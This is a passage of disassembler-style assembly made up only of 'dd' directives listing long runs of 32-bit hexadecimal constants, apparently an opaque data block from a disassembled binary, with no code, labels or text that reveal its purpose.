		dd 46F09091h, 0A243022Ch, 31B4B5DCh, 4A49103Ah,	0E12D03A2h
		dd 297612C9h, 5590C194h, 82E01FEh, 0EF819120h, 5222BC72h
		dd 131CC0Ah, 0E2045407h, 0D0C80D86h, 0FC7B443Bh, 79E83218h
		dd 807E6BC1h, 0B4A19124h, 867184Ch, 408026D0h, 67FD670h
		dd 940530D0h, 0D92CA817h, 0F7418892h, 94797B1Fh, 0ECB955BCh
		dd 0BC93F680h, 68C5CCh,	0E304D565h, 66CBC6FAh, 4B19B700h
		dd 0E9A2A8D4h, 74ACF22Eh, 82640C2Dh, 0ED82274h,	8C978B29h
		dd 7C70FC14h, 0DC0B2FE7h, 9120972Bh, 0CBD58021h, 120B98h
		dd 9EB220C2h, 7ECE941Ch, 500A0213h, 3E2EF4E1h, 7ADE11FCh
		dd 7A42DEF8h, 88988EE4h, 804DC082h, 19003F94h, 87C2A99Bh
		dd 4F817693h, 6488D008h, 0B5178991h, 80497863h,	40404898h
		dd 0D85B0718h, 25B881F6h, 1F00C099h, 1102F782h,	1A347E89h
		dd 11B0F92Eh, 0C3D1807Ch, 8CD5F878h, 216A44h, 4BD4C3D9h
		dd 0C7B2DAA9h, 28531A26h, 0D026CC0Fh, 0E31088D4h, 6B361364h
		dd 506328F1h, 7EDC2E01h, 0F82D75ABh, 0D52DE8A8h, 0E0AC905Eh
		dd 213A8111h, 10647074h, 3718897Eh, 0C669301Ah,	0F7480178h
		dd 9E246046h, 183A2B61h, 31003F23h, 0C7AE24CAh,	0E3C4F492h
		dd 1D609034h, 40862F1Eh, 0D1A75F9Ah, 24902747h,	0B7087F09h
		dd 0C40847D0h, 5C217F5Ch, 7988597Ah, 76181Ch, 665051A8h
		dd 38656FFAh, 7303A5Dh,	0F4F1F20Dh, 60900F05h, 97516FB9h
		dd 876589Ah, 70134656h,	0ADEAFE01h, 6A332BE7h, 46EE60E5h
		dd 0AB352474h, 2C500B00h, 820EDC70h, 16FC17C6h,	460AC46h
		dd 5DD45A31h, 0A41380BCh, 0B057C1E9h, 82400F00h, 0D3540636h
		dd 9BD94C4Eh, 0C1A4231Ch, 9A525BABh, 0FC61F646h, 87B070BBh
		dd 0C7C5A00h, 0EA634266h, 0C4210AEDh, 0A03C1638h, 0DC0B2FE8h
		dd 0E328C001h, 0A8FC3018h, 410C8E9Fh, 2E786BC7h, 24786069h
		dd 8B149C0Bh, 742271E2h, 0F7000DE1h, 268FF9B0h,	18A0094Ah
		dd 8E57190Bh, 70C0BB4Fh, 1DB194Dh, 7EE56884h, 62797B9Eh
		dd 1B6B1738h, 0AAFD9841h, 8FF1E17Dh, 0C1BB8824h, 94F8C081h
		dd 3DD07840h, 1CAFCEh, 0BBE13E44h, 6D690274h, 1DC6BC4h
		dd 0A22784F2h, 8610209Ah, 7C208859h, 9D2931BFh,	0C0B77718h
		dd 0DD051737h, 8AD9C486h, 5E835088h, 0B6B04233h, 88A00903h
		dd 4D14E312h, 0D08E18C5h, 8048DA10h, 0BCA4E120h, 8C5240FEh
		dd 0D0980343h, 85F5B9h,	3D68E135h, 0C75389DDh, 9CFAC520h
		dd 79B18820h, 157C967Dh, 0D14E54E0h, 3CA4A17Ch,	62DC1330h
		dd 2261684Fh, 54639340h, 959C841Ch, 1BCF0284h, 13C05CC0h
		dd 9CB83761h, 3298B09h,	0CC893405h, 26302EF1h, 9D710BBEh
		dd 54D4D498h, 0B4208EF2h, 92421B2h, 48A950CCh, 0BE000863h
		dd 0D1DF52F5h, 121E047Dh, 69F6E408h, 8C508CC1h,	6473588Ch
		dd 0C3583850h, 0A4EC2491h, 160CA946h, 0C896EDACh, 45BC4E10h
		dd 0D067B934h, 0F4C40890h, 0C95C1150h, 4F401D65h, 8E6470C7h
		dd 4C242803h, 0AC08994Eh, 386E8192h, 49FBB5F5h,	0AC106C5Ch
		dd 0FB1C8C65h, 908EA3D7h, 392E442Ah, 0F9FC30C2h, 80CF00ECh
		dd 0BBF49111h, 357421E4h, 389BFD2Eh, 0A8EE1908h, 0A9DC62E4h
		dd 44D4D989h, 12E1D108h, 0CCE80D0Dh, 0F2E07221h, 899E3025h
		dd 320B8117h, 0E8942090h, 88F8BC90h, 98092D40h,	441CA9EAh
		dd 0D479006Ch, 766FAC70h, 0D702C86Dh, 37E801B0h, 80A09311h
		dd 0F813D3h, 0FFCA881Fh, 17CC3A78h, 348E42Fh, 0BD37C98Ch
		dd 1428BBC1h, 6100A42Dh, 0FA9CC88Ah, 66032F70h,	0DB8C8F5Ch
		dd 2534E7BFh, 72C084F8h, 6458C694h, 0A0927FF2h,	8DB31F03h
		dd 0B969853h, 5B892051h, 3508D840h, 0DC1830E2h,	7E21B5E0h
		dd 862506C4h, 0C1188D8Ah, 49329B0Eh, 3071DFC0h,	20F2994Ah
		dd 94338DDCh, 5405F54Fh, 9C52848Ah, 0F4B55006h,	7EF84318h
		dd 4AA1E000h, 6C8E1E2Fh, 5E10B626h, 3A058C46h, 4FCFAC5h
		dd 522318D0h, 0E2BBD8B4h, 31C8F7C8h, 4BAC0BE5h,	800ED67Bh
		dd 5F02710Fh, 58607514h, 0C490BCA3h, 0E0BD2C00h, 8C51B153h
		dd 0CC7C58E8h, 42829F1Fh, 0EBC7F561h, 8CF8E890h, 0A4F34924h
		dd 9F5C25B9h, 801391F4h, 76793782h, 0B93B028Fh,	9A66CE95h
		dd 673C54DAh, 577E007Dh, 2D8DF57Ch, 29B20074h, 9A97FCCBh
		dd 4503CF50h, 619B1E0Ch, 6CA80064h, 0D119D982h,	3FC4D71h
		dd 88209898h, 21604511h, 69A6D706h, 15BD1017h, 38F244A2h
		dd 0D860AB31h, 300F4044h, 89F9BC13h, 1D0AC81h, 76F8CAD9h
		dd 4CA99D80h, 1C45F0A4h, 0D308C82Eh, 9570B95Bh,	25A0B9h
		dd 2A18CC82h, 10C41544h, 4C8B8D94h, 6BFA102Ch, 785A8604h
		dd 0C8E4AD47h, 2067146Eh, 185E55E1h, 894C9E98h,	600DBA7h
		dd 0CD19834Ch, 6BDE9B00h, 0FB6599E7h, 4B9602D2h, 58A2C8BDh
		dd 88A8C480h, 0B0C2349Dh, 4083E37h, 6C4BD7Dh, 31EE052Fh
		dd 4615311h, 2A749F0h, 0AB5CF400h, 0FF56EE18h, 2EEF0238h
		dd 2DECF3B4h, 119F0C80h, 0BE0229EDh, 0FF10F4F2h, 3AB0702h
		dd 0DC058EAh, 0F2F829E1h, 0EF82EF8h, 0BA52E807h, 0ADC0F541h
		dd 7457ED1Ch, 53FB00AFh
		dd 58E00EFFh, 53041B7h,	57F72854h, 0EE1500B3h, 0F617B65Fh
		dd 1667B1ECh, 6BEEA040h, 0EF648078h, 3F08FF2Bh,	7B0059EEh
		dd 41920A0Ch, 0F051EC29h, 8FF9F904h, 80FAF280h,	70DB2D51h
		dd 29220CE8h, 0B679B557h, 71CFF278h, 18AC8DF5h,	5CE115D3h
		dd 0ED0708A6h, 0C003AF55h, 201DA12Dh, 806038A3h, 0F3BA7E88h
		dd 0B45510FAh, 41E30017h, 74895334h, 2E8C1CAh, 835575E2h
		dd 5CFF0138h, 224028F5h, 1AB000A0h, 414B79CEh, 0FB00EC3Ch
		dd 4F31031Dh, 3323EEF3h, 44E13756h, 80BCE9A1h, 16A17C78h
		dd 434A77EAh, 128202Dh,	0DB644D4h, 0AFF76C0h, 55F13C00h
		dd 78E436ABh, 1F4B1CF9h, 3E56E011h, 0BCA0D642h,	83D4230h
		dd 2408541Bh, 0C243058Ch, 838BD85h, 1324E0ACh, 8C048054h
		dd 0DA34EC25h, 80AC18E1h, 94E41F2Dh, 0B6BEB622h, 4848B148h
		dd 6BC710E1h, 915C4A22h, 4843144h, 0F7FD1CC1h, 58211103h
		dd 4CA02C02h, 0C46BF360h, 0CAEC03A1h, 9344A4E1h, 85F4A866h
		dd 7CBD222Eh, 9D2CE728h, 0F060B82Ch, 287DA420h,	97CC486h
		dd 1E740BC7h, 46886C49h, 0B7425868h, 6062385Dh,	12B5C47h
		dd 7DA451DCh, 0D9273217h, 6243949Ch, 43D63688h,	0C217840Eh
		dd 0C4EB216Ah, 0C462AEEh, 172A2010h, 6820AB98h,	97578381h
		dd 90B9AC90h, 94F84082h, 890E883Ah, 58218F4Fh, 88003914h
		dd 3494D8C2h, 14BD3612h, 0B5A4F405h, 423891E8h,	5028834Dh
		dd 0D01865A2h, 973C58ECh, 6ECFECA2h, 8B107919h,	26409003h
		dd 714A00E2h, 89806208h, 0E4891F16h, 40C32451h,	1B15CC7Ch
		dd 277898D3h, 6CC0FD9Ch, 2D1DD183h, 0FC8A0382h,	28BCB09Fh
		dd 100240A1h, 918BD1A2h, 8C0446F8h, 22614244h, 17DCA50Eh
		dd 306CE51Ah, 0F5452178h, 0EC58802Ch, 415A9E8Eh, 91930486h
		dd 640E18C8h, 190632ABh, 8A160C9Bh, 62811C84h, 10484CA1h
		dd 5073628Fh, 9340C95Ch, 5DDC0C83h, 0A3404CE3h,	0A502D8Ch
		dd 9CA11CC4h, 0CC1E3B74h, 78D80D12h, 69292CCDh,	6025D49Ch
		dd 2C340708h, 0E8352550h, 2410A028h, 4CD11888h,	0A3BEE01Bh
		dd 367D14B8h, 1038C94h,	3C88C2E8h, 863EDF48h, 0D8282D37h
		dd 19FD8F10h, 0C3388650h, 73218937h, 0AAB024FAh, 3E8D030Ch
		dd 181B7961h, 0CD390298h, 788DBCE4h, 0F0819DDEh, 86BCC44Ah
		dd 981D3739h, 29760051h, 514395E4h, 4AE0B0F4h, 0F5BD7D00h
		dd 7B91E941h, 1B341A49h, 0BFC19168h, 0B4223A9Bh, 98044FCh
		dd 0AA892497h, 0E02ED406h, 2979C400h, 5D9CC7D1h, 0CED5FC4Ah
		dd 5824019h, 1C5C88E8h,	7C07E110h, 0C0CD6094h, 0CC8A2926h
		dd 7AF0845Ch, 0F775FB03h, 8578B5h, 2ED26309h, 335B913h
		dd 0EA18905h, 4C709788h, 759F0D57h, 0A4FBFA29h,	12CA44E0h
		dd 0BA48D963h, 40F0F689h, 0CA884952h, 848CBE0Bh, 6ECF89h
		dd 0FB03691Dh, 87FC1495h, 5602E8C7h, 736D478Eh,	3D08E098h
		dd 3C34353Ah, 183C30E9h, 6790A480h, 81692151h, 847B3624h
		dd 6594BE71h, 407B40A1h, 86786434h, 0D118E815h,	0E971AA98h
		dd 8E65F8Ch, 1880EFE4h,	0AD1AC6C0h, 9D0812B1h, 0E880C99Fh
		dd 6300C88Ah, 90D0134Ah, 68896B42h, 584093h, 34407B49h
		dd 90A89C1Ah, 10C85B7Ah, 10A8A4h, 0E6AD0873h, 3A795A8Bh
		dd 6037CC11h, 789DB09h,	24DE98C1h, 79546474h, 100040BCh
		dd 32DF13E7h, 0CF80AA52h, 51007379h, 4AE0C1F2h,	3F7A810Ch
		dd 7992B046h, 0B888245Ah, 328112Ch, 65DFA209h, 9BE9A078h
		dd 33CE077Fh, 16606F5Eh, 9000D132h, 0C323A2E2h,	26A3BACFh
		dd 11F0C10Bh, 1C4A240Dh, 593DB4B9h, 0C5D8885Eh,	5A2BF11h
		dd 0D9F8B0F7h, 5888C215h, 0A91DD498h, 2882A890h, 0D9F660B1h
		dd 6421A419h, 82E35409h, 83BCF484h, 8A98B50Ch, 59D0A92Ah
		dd 21088534h, 72A9C031h, 0FCF8BBD6h, 8C2A2C26h,	3D161423h
		dd 3030380Ah, 4F4A9408h, 0A029C48Bh, 0DB00F864h, 8201CC8Bh
		dd 1FA9752h, 0B36730F3h, 2F764E43h, 93888h, 587FEF0Eh
		dd 864A5EF5h, 70113709h, 0D304247Dh, 282F68C4h,	0F70E3908h
		dd 0D82F0574h, 4AAE073h, 0AC30C32Ch, 3DD5820Ch,	368C111h
		dd 0ECA41510h, 0E43B5201h, 7501A2DFh, 867A1C22h, 4565D202h
		dd 0E8354B2Bh, 0A4B48188h, 207C2E98h, 44A945F0h, 210F800Ch
		dd 408B231h, 60991940h,	2E01890Fh, 0D80057B8h, 304CFA07h
		dd 98D18C3h, 0E195D019h, 0C28904E8h, 0F7296C00h, 49E0C08Bh
		dd 3CA05D10h, 0AAC81878h, 37D92820h, 0B4401F5Ah, 79D36FE1h
		dd 8D3900FAh, 0A5BFF632h, 0DF8E0E3h, 46C8B409h,	73BCFAD4h
		dd 4E293A8Fh, 8DD28880h, 0B41C5D36h, 87E0BE0Bh,	62696274h
		dd 8C60DE08h, 0B7A10199h, 0EAB62B01h, 62AF5810h, 2AC1A880h
		dd 0E2271C80h, 57036100h, 1FDDBA39h, 0A0D0B698h, 0BE70B4B8h
		dd 0D5D9BE0Bh, 481E58DAh, 0F39F633Eh, 0F8F6B241h, 6834A698h
		dd 84FA00EFh, 805FC4C8h, 0F7001A8Bh, 32F4BAD5h,	0A63575h
		dd 5A284826h, 703FF325h, 16504B1Dh, 0F529803Eh,	9C76ACBDh
		dd 3D850C8Ch, 0F08C494h, 553021C1h, 0A32084ADh,	287B0EB7h
		dd 54CFEFE4h, 68B37803h, 0F24BF0EFh, 310E2B70h,	0A10FDD96h
		dd 0CDA187AFh, 7D5E30h,	0B8E8D5BBh, 3F70153Dh, 50DCBC00h
		dd 0FD9828ACh, 0A953009Ah, 4EE4A887h, 1507ED48h, 28D4088Ch
		dd 19B0B450h, 8820A746h, 58C1E0BDh, 0F884A3BBh,	22FDC350h
		dd 0AD4A3074h, 549C6B08h, 40E0649Ah, 45AD4257h,	0ACF01804h
		dd 0BA6BD81Eh, 74713088h, 152900C5h, 1345116Fh,	523EDCFBh
		dd 0B440E870h, 3A094674h, 11D20067h, 44E5CDB1h,	0F1130314h
		dd 6F5801D7h, 80813FF2h, 81F051A6h, 0C2606C39h,	4FD811D9h
		dd 9ACA0344h, 73BD63A1h, 50152007h, 0F9E0F34Ch,	0E2F19C4Ah
		dd 7008DF7Ah, 0F377B221h, 467B8806h, 0F7591951h, 3688130h
		dd 237D373Bh, 28B3AC43h, 0CA74E875h, 0C8A1E1F8h, 17A3F36Fh
		dd 42C93802h, 8745B9CDh, 9A776B50h, 0EC910D90h,	7CB02815h
		dd 439CCDCh, 42FADBD1h,	1134DE30h, 1334F89h, 6421B174h
		dd 9831AABAh, 7321D808h, 68330147h, 5BBB5508h, 0F21CCA9h
		dd 0C0B05029h, 49807791h, 0AC9C62ADh, 41540087h, 484760ADh
		dd 1000187Dh, 0FE1958C3h, 0CEC6DE1Fh, 0DFA01D79h, 7A10C4FBh
		dd 0D86F702h, 8FE634C0h, 1A6B018Ch, 0AC40BBFAh,	0A8EC70h
		dd 4576CCB1h, 55576388h, 64D0F250h, 0F375048Ch,	6242F94Eh
		dd 7CB32009h, 0E700A1F3h, 324FEEA0h, 3B6A946h, 3F87178Ch
		dd 71008A19h, 0EAA0C91Ch, 16A7E53h, 67C6B3C1h, 0E40B01BBh
		dd 45078C23h, 0A347496Fh, 7D80A655h, 0C4483FDh,	6D182228h
		dd 60008649h, 0CF3EBFD6h, 662684D1h, 21B00877h,	0D6676100h
		dd 906EFC73h, 0DDCB04FAh, 54A675AAh, 0A41579C0h, 7C9C9C3Eh
		dd 0B1DE1302h, 97449ECBh, 81B51138h, 0BE2AF323h, 0C330DFE0h
		dd 98713359h, 0F0E06D9Ah, 0FD014283h, 0A064C6B2h, 0DEC0B885h
		dd 3C3828A4h, 480CA144h, 0AC08BE18h, 0C4B49C6Fh, 5633400Eh
		dd 90BF6CADh, 3E3200F3h, 0B1B4D7F5h, 2460D984h,	0E8730E59h
		dd 56D00059h, 2946A258h, 0F01C8D21h, 0D1414F0Ah, 0DADF755Ch
		dd 439B4440h, 4DC800EEh, 0B82449A8h, 0D03F98C1h, 0A9E982A2h
		dd 61E67B4Bh, 0FD0CBB34h, 27313474h, 1E524923h,	0B39F5180h
		dd 0D4166A37h, 0B83A7F00h, 684546EFh, 4A5C012Ah, 0DED7F0F2h
		dd 1531806Dh, 0BC48A935h, 8761DE86h, 2159C7FFh,	0F49E660Ah
		dd 0F3E8D985h, 0CCEE49h
		dd 715507B9h, 0F89CF1A0h, 18336116h, 246DB3EDh,	0BF7E1768h
		dd 1D6E93Bh, 91345446h,	5860E026h, 0ACD00981h, 0F804E6FBh
		dd 334A6057h, 29B12349h, 68003511h, 34953322h, 0E3009D81h
		dd 83F6B658h, 0FADDCAAh, 0F3D357C2h, 2AFF8583h,	7958D070h
		dd 0C8EA224h, 1B300180h, 59C2884h, 0EC2C4C27h, 9EB43200h
		dd 0AA28A212h, 6075C316h, 83E26828h, 0F9203885h, 0C483F46h
		dd 2CC8F50h, 5792011Dh,	6C48A419h, 0D5E4EB39h, 0D9F2E00h
		dd 9E8EE932h, 0D1909130h, 1B3188Eh, 512D4742h, 75268h
		dd 0A0B79629h, 75E5A0h,	8BA95E58h, 9C50144Ch, 123C9A3Dh
		dd 83092579h, 3E01278h,	0CCDF04h, 6F47C911h, 1ED105A7h
		dd 0D7B37400h, 0B8BC2564h, 0FDC4B263h, 87A8B340h, 9E3B0624h
		dd 40D9A6F8h, 843D2528h, 9C54640Eh, 28C34DEDh, 3A840832h
		dd 1C9493Eh, 0CAEA9D4h,	34E080C2h, 3940FA19h, 0B1801FAAh
		dd 0FFE71C27h, 3E02A605h, 0F34217C5h, 3B74C03Dh, 1D270191h
		dd 6D40BCA1h, 31BC3054h, 13D9F800h, 9E325CF9h, 5B44A1F5h
		dd 0BB475183h, 31384D70h, 0A0AC8C33h, 149CA078h, 0F4D8F795h
		dd 0E0243E3Eh, 18F420B5h, 18278B05h, 103BBEFBh,	46007C86h
		dd 6471C998h, 290EA91Fh, 0C947B50h, 0A8308D0Ch,	11209948h
		dd 0BC08D98Fh, 18319A11h, 0DE012D67h, 9E8C481Ah, 9D045498h
		dd 0BC6DB616h, 81AE9887h, 41ACF1A3h, 0AED0D713h, 421F30BBh
		dd 0B02AED38h, 0B8CD944h, 0B0B96C2Fh, 1A967890h, 805748CFh
		dd 5BE17D25h, 0AD9C0EE7h, 98722F9h, 15318091h, 5CECACF3h
		dd 0FE50E0B0h, 5233A9C8h, 0D84008BCh, 2632A369h, 9501B15h
		dd 94028586h, 8CC807BCh, 0CD519B98h, 1E0930BCh,	0D1A91D06h
		dd 0F8B5C1h, 56A49EBCh,	0CEFF98AAh, 42CD29C8h, 9A24A176h
		dd 12C60F21h, 578B27C9h, 0E6EE1032h, 0B1006A9Bh, 9FF50198h
		dd 21DDB4h, 96A7C2EDh, 17BF5D56h, 78435F00h, 0E048A4A5h
		dd 1D8E0046h, 654AEE4Bh, 0E3A03F10h, 80E50D36h,	2C49B53Ah
		dd 3D40C0F3h, 4A000929h, 644D28AAh, 2300E6E4h, 0E26B2C33h
		dd 0DD3127Fh, 90D0B2A3h, 46DFDC30h, 32AA5700h, 1F92C842h
		dd 3FEF095h, 0A762F2A3h, 1D88C0BFh, 7000C9F1h, 403A0AAFh
		dd 3345AC5h, 0C7EE69F9h, 0E7D07FA8h, 35005165h,	0E5ACD8FAh
		dd 9D2AB4h, 0B7247EC8h,	15B0F5E6h, 25DFE717h, 9D0F0385h
		dd 0A480D265h, 2072F3h,	0AB08547Fh, 514BB538h, 0E6993Dh
		dd 1C530A45h, 3644AFh, 277D81EAh, 99B68B7Ah, 3B30430Eh
		dd 53A5C3FDh, 7E03F055h, 82A000A4h, 4AFEA113h, 0DF3801D8h
		dd 2D5580E7h, 3FA92696h, 0D9C30098h, 30C42F9Dh,	9700F7CFh
		dd 6D684A9Ch, 9BFF88h, 93B4B8A2h, 0C3F56B1Fh, 257BD5E4h
		dd 0F5B6900h, 39477107h, 780400B8h, 2AEF33CEh, 0C802F880h
		dd 0CA69D362h, 524CC828h, 7A397B17h, 0D8E05401h, 586800C8h
		dd 6D8B03EBh, 1D04D3C1h, 6CE8AB2Dh, 12FB6CC0h, 0E3C0300Bh
		dd 5413E931h, 0CD2EC03h, 0BB78CF1Ch, 0BA21D88Bh, 0D8833005h
		dd 0B98AA629h, 1C131B00h, 0C1AFBE8Fh, 8F82585Eh, 391EB63Ch
		dd 863CC07Eh, 0D968AA5Ah, 5D239607h, 0B0F0A2F9h, 4AE704h
		dd 0A79B1E27h, 27207F8h, 0FB00C976h, 55AA48BAh,	321EFE9h
		dd 3DBDE584h, 1807A585h, 16D7F45Bh, 4CE488CCh, 6D01EDC8h
		dd 69E18EDBh, 7418048h,	0D4A5B198h, 0B49D00DCh,	1CE88187h
		dd 0D3022F76h, 8CF4158Bh, 0CEE4C816h, 268D016Bh, 0E7B28295h
		dd 0DA8050FCh, 900043B0h, 0E3BE962Eh, 6C198Bh, 12499A30h
		dd 7D70C3DBh, 0A8ECB7B0h, 439C2E00h, 0CD059F3Ah, 0F25400AEh
		dd 690653C3h, 420E04A6h, 400F5F3Dh, 0B5DDB7D2h,	0F62E0C32h
		dd 0D660289Bh, 4C1C0D00h, 552ABD25h, 2EFEB895h,	1F6FC188h
		dd 0F14E409h, 9928A4Ch,	63803E30h, 0B7C985Bh, 16658B00h
		dd 794383A3h, 935D0071h, 0C4FC4DBh, 0B850C955h,	34780F8Ch
		dd 74215700h, 0CF8EBD06h, 45FB003Dh, 5892226Bh,	0BE0028C7h
		dd 9CCECA82h, 13990393h, 531C8Eh, 1D577074h, 0B00033ACh
		dd 0E88F7755h, 74025D1Ah, 0DE81005Bh, 988B29B7h, 8D00C095h
		dd 57509AA9h, 0A7F2C2h,	695167BCh, 52889E61h, 12320F38h
		dd 0A402AD72h, 10541EFAh, 0D800992Ch, 3E84C2B2h, 3DA15510h
		dd 4087AAF0h, 0F067FD30h, 5406A223h, 0E937B200h, 436801BFh
		dd 0F4144C4Dh, 0A9B55F04h, 0B358C0ECh, 9502AEF2h, 0B0DD3D7Eh
		dd 8F096040h, 7F073C61h, 9D78C901h, 2235B12Ah, 0D5EF17D4h
		dd 61394607h, 0BF7CA049h, 92C2ABBBh, 84480084h,	0A97AFB43h
		dd 8EE449E5h, 5E096900h, 0FEC20345h, 3F910632h,	0A146883Dh
		dd 77356100h, 0EB5EDB25h, 6E140058h, 2D50ECF3h,	6CE664DFh
		dd 0ED725CB2h, 0B7389605h, 0C580E10Fh, 0C6880Eh, 76AE2D28h
		dd 92D761ECh, 6997911Fh, 0ABE49300h, 150FAF8Ch,	84AC663Fh
		dd 0C2D97B00h, 0ABF65E02h, 28A07A00h, 0C48FC551h, 5D31242Dh
		dd 5E661E48h, 4F07804Dh, 14D509B3h, 76303800h, 199B0D7Eh
		dd 3921F479h, 292CD40Fh, 125D0110h, 0DCF8BE85h,	0FB545813h
		dd 2B06218Ch, 0F273494Bh, 62890010h, 0CCA9F8EFh, 86EE29D3h
		dd 6EBC23Bh, 6F98517Dh,	41D23D90h, 0ACA0BE07h, 0B42919A6h
		dd 3A59FC10h, 84831E01h, 445CA2BDh, 4BE055F6h, 0BC7266D3h
		dd 0F54B3B00h, 0BAC6FDFh, 2B0530EDh, 1167081Ah,	186A900h
		dd 18583A19h, 215000D7h, 0CC0BDF5Ah, 0E02E8ADh,	60D9B09Fh
		dd 5254C096h, 637F0F23h, 3A00FB1Ah, 252D2F6Ch, 1CAC2601h
		dd 0AE4049C3h, 0F82EF434h, 7A81124Bh, 0E6A0004Ch, 8A9A2AFEh
		dd 0D6B2B600h, 0C2EA1AFDh, 42B100C4h, 0D5D338E2h, 79001EF9h
		dd 0A3503D0Bh, 0E9F1493h, 6E2F941Fh, 0BC07F454h, 0EFE654h
		dd 3FC8226Ch, 30F42302h, 40477F2Dh, 0B0F883Eh, 2B5E17Eh
		dd 0ED670420h, 0C00083DCh, 395C2725h, 16120DA9h, 0B1EB6Bh
		dd 683BB9A8h, 3D1C70BAh, 0C026ABD9h, 61566C41h,	0FBCF11E8h
		dd 1282BFE4h, 2AF2350h,	64CE6AD0h, 4E9B0014h, 56E257EEh
		dd 1A243F79h, 250074BEh, 0DD4A65C8h, 951403D6h,	0A08C9C54h
		dd 53BACA8Bh, 6000BC50h, 0DE118BF5h, 922F49A1h,	317520h
		dd 0D2E080F9h, 732E5D74h, 0BE0092F0h, 9D27A043h, 922DD512h
		dd 0F4AD4894h, 0EF9048C0h, 5A00515Ch, 5B0D6DF1h, 0ECEAA51Eh
		dd 37111857h, 197078BFh, 267242FEh, 34988300h, 4F3A160Bh
		dd 0A18E3A1Ah, 0C3EB698Fh, 89C1C2A0h, 22005172h, 108AFFAAh
		dd 7175C37h, 76CBD67Fh,	0DEB4B05Bh, 3BE09BBDh, 0F9476500h
		dd 34686C0Ch, 975054Eh,	83E426ADh, 14D14362h, 0BFB3D01Ah
		dd 27208400h, 0C959BCD1h, 0B2D0C049h, 0B75E64E9h, 0F9111664h
		dd 0A126A304h, 0ED2080F4h, 9A98F1E8h, 3FD0C083h, 0BAF3D197h
		dd 0BD079D7Ch, 299C1977h, 0F94CFDC0h, 4F30244Bh, 449D0F66h
		dd 0D4AAC702h, 1517EC58h, 9440E7F1h, 6419A8A6h,	68BB6042h
		dd 0F1B6B17Dh, 0AA10AD50h, 71CD650h, 499D8200h,	0A8378F19h
		dd 28531E1Fh, 864FC13Ch, 0FCDD7CC1h, 0DF14A0D0h, 0BF6D11h
		dd 0FB73F255h, 4B1BC4BCh, 4C45186h, 594A52B8h, 0BAB0BC44h
		dd 5FCEEF44h, 4D11F091h, 0BB3211ABh, 28D68D11h,	70221401h
		dd 0CCE449Ch, 0EBCD8400h, 92342781h, 0F4F5016Ah, 0D0991098h
		dd 203BC4ECh, 0D4CFB600h, 5EFE15DAh, 0C54C000Bh, 237BD3B8h
		dd 0F300C414h, 0EEA48C88h, 40E27Fh, 0BDDF87B6h,	0B858E7D8h
		dd 0B7A85001h, 8D9F93B4h
		dd 16894FF0h, 60F466h, 0B51FD00Eh, 3607C972h, 0A1BFB9F5h
		dd 80DC0BC3h, 0A88B9DE8h, 39765488h, 92009A06h,	4641779Fh
		dd 0CB4AC6FCh, 0AC594C00h, 1CB3F0A7h, 80ED6E85h, 0A268BE40h
		dd 33302514h, 0D4EE984Fh, 30AB00C5h, 13432936h,	4C549DDEh
		dd 0C400B0BCh, 0FA0D2D97h, 0E610122Fh, 50B8B3h,	0EC07334Eh
		dd 75F1BEC0h, 3F8DC61Ch, 927D1045h, 0F4180890h,	8A0B0B65h
		dd 9489ADC7h, 0C99AC82h, 85D08493h, 8A076261h, 0FF30DDD7h
		dd 274BF480h, 5487B29h,	9F2DA725h, 0B1A4C054h, 3A008E74h
		dd 0EF292442h, 1E302A73h, 5E1BF4D4h, 0C8187C4Eh, 451121CCh
		dd 60027F6h, 19189F90h,	9CBDB8h, 9648492Eh, 603D7198h
		dd 93643600h, 67853FA7h, 86C40127h, 0FAA8C184h,	7BF00D6h
		dd 2E500A7h, 14EF67BEh,	3D00510Ch, 0A5A69A79h, 5C0E53h
		dd 10BDB33Ah, 6D81AD97h, 0B48B30C0h, 4514CC9h, 0DE65CBA5h
		dd 76E0D03Fh, 0D2156343h, 77D89721h, 0E754AC00h, 0E65947F6h
		dd 18E114B9h, 36009CABh, 4A6DC403h, 0F000B52Dh,	0D8B03545h
		dd 3A51422Ch, 0F45C8565h, 0D96D4800h, 5404189Bh, 0E4F8E300h
		dd 3A49CFCh, 0BABC1697h, 4750816Ch, 0A0E3E00Dh,	8087C53Eh
		dd 72EDC918h, 30910A4Bh, 4848A7CEh, 9D00D09Ah, 0E7E08BF9h
		dd 48AAE212h, 0B90E37CCh, 5E7EEE71h, 8230C51Fh,	0CA2080A8h
		dd 0ED01C4AEh, 5F377FD7h, 0E5FB193Ch, 0FE2B7080h, 571E0127h
		dd 7EF01B20h, 7886815h,	603B1611h, 0C807C0B2h, 0F4EE010h
		dd 61AA493Ah, 0F8A0C132h, 0DB9851C8h, 2E29BF16h, 6A02DCFFh
		dd 6019CAF4h, 1D525CD8h, 1E72B3h, 71FD4CB2h, 5754D3ADh
		dd 18C001E8h, 305B4ACDh, 0A1B0024h, 0E1FB6FFEh,	0C7012FC8h
		dd 0AD61DFB1h, 0C9F84CAFh, 72102469h, 17AA008Ch, 99511821h
		dd 584B9103h, 0F009F038h, 7F247Ch, 479DA28Ah, 5C986DD7h
		dd 0F19C6600h, 51644F7Dh, 2FF000A1h, 0B6787ACCh, 0C1486319h
		dd 1FF44037h, 69550F01h, 0E15DF78Dh, 396BBC60h,	8C021B43h
		dd 0AB2E65DEh, 44000058h, 0AEBF717Eh, 0E495111Fh, 402A009Ah
		dd 9B16FE6h, 803DF257h,	31210291h, 0E0AF08C3h, 0CA4C98h
		dd 938910DAh, 91D7413Ah, 328739h, 0DFF4369Bh, 0FB911B5h
		dd 6160B6C1h, 707FDD67h, 9295BB40h, 23E6F400h, 4745BDFFh
		dd 0C6760529h, 0C080A5A7h, 0E6E29CA8h, 83433500h, 0ADE0E50h
		dd 4EE90295h, 9F8D6E76h, 54D0B963h, 0B803AA57h,	8EA072D8h
		dd 410012Fh, 0FBDE6CBBh, 69647090h, 541DB61Fh, 3A00F468h
		dd 33010216h, 38193E71h, 0B50076C9h, 28DA3807h,	0C425ABA1h
		dd 0A07C20A7h, 765D6F39h, 16D5009Ch, 47AD6B65h,	0DF3B3173h
		dd 682E8070h, 0F8BE7172h, 191C0060h, 2F3A9895h,	70747567h
		dd 85DBF00h, 3C71EAD9h,	0AEE50016h, 0BC03F879h,	0DA5C1ED3h
		dd 0BA9500F7h, 22C80714h, 5A97004Bh, 15A5F51Dh,	46502C9Dh
		dd 7C5C62E1h, 14490307h, 908CE3D2h, 1B2F217h, 419D832Ch
		dd 0E4AB34F7h, 0FF002DADh, 9F6DD1E0h, 4CCD4A36h, 190697FCh
		dd 118D683Eh, 4E272B00h, 0CBEF8120h, 0E1610018h, 0F96CDF69h
		dd 0CC00E69Dh, 0DB4A3DA0h, 0C1EB9CF0h, 554C3F18h, 9540807Ch
